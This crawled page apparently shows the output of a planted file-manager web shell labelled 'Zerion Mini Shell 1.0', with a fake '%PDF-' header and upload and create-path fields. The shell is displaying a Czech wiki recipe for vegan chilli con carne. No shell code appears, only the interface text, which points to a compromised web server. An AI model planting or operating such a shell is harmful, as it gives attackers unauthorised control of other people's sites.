%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/varak.net/recepty.varak.net/data/pages/
Upload File :
Create Path :
Current File : /www/varak.net/recepty.varak.net/data/pages/chilli_con_carne.txt

====== Chilli con carne ======

==== Ingredience ====
== 4 porce ==

  * veganské mleté maso
  * 1 velká cibule
  * 1 velký stroužek česneku
  * olej 
  * mexická mražená zelenina (fazole, fazolové lusky, kukuřice, paprika, mrkev, hrášek)
  * 1 plechovka fazolí
  * 2 rajčata
  * sůl
  * Harmonie chuti
  * oregano
  * mletý koriandr
  * sladká paprika
  * uzená paprika
  * pepř
  * chilli (může být i bez něj)
  * torilla

==== Postup ====
Cibulku oloupeme a nakrájíme ji nadrobno, stejně tak česnek. Na pánvi na oleji obojí osmahneme dozlatova, pak přidáme veganské mleté maso. Rozmělníme ho a trochu osmahneme. Pak přidáme mexickou zeleninu, fazole a nadrobno nakrájená rajčata. Přidáme všechno koření a necháme asi 20 minut povařit. Můžeme trochu podlévat vodou.

Hotovou směs pak dáme do tortilly, případně lze servírovat i s rýží.

Zerion Mini Shell 1.0